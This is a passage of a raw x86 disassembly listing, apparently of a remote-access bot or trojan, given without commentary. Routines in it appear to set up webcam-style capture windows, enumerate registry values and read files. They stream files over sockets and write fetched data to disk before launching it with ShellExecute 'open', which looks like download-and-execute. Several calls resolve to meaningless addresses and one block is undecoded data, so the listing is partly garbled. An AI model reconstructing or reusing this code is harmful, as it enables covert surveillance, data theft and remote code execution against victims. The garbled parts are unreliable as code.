jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB000 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB000 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB000 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB054 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF44 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF44 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF44 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB000 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF44 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB000 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF44 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB000 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF44 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB000 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF44 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB000 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF44 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF44 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB000 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB054 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_43622C, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_43622C mov esi, offset dword_436238 mov edi, offset dword_437430 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB014 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAEA4 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293EC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_43742C ; "=" push eax call sub_41C0F4 push offset asc_43742C ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF80 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB03C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 4374AC68h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22BA314h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43747C68h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0A6E89064h, 330224AFh dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 4EE89064h, 6A0224AFh, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 744868FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub eax, [edx] loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_4375AC jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAFA4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFD0 test eax, eax jz short loc_415EA6 push offset unk_437588 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF48 push dword ptr [ebp-2Eh] call dword_4CAED4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAFCC test eax, eax jz short loc_415F21 push offset unk_4374AC jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 26F09A7h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437568 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2730B98h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFE4 push eax call dword_4CAFA0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437550 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF8C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437538 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_437514 loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB03C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2760000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFF4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAFBC cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] call near ptr 26508C8h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB030 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374E8 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB03C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi call near ptr 26D0000h nop loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374D0 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 266091Fh lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293F4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 26F09A7h nop cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_43764C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26508C8h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_43761C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375FC loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAFBC mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAFA0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFF4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374D0 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 call near ptr 26D0000h nop loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375D0 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB03C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF54 call dword_4CAEA8 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 26F09A7h cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437818 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi call near ptr 268068Bh nop mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAEB0 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26E0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377F0 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C8 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCE0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_43779C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 268068Bh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 26508C8h nop push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437774 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43773C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAF10 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437720 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr 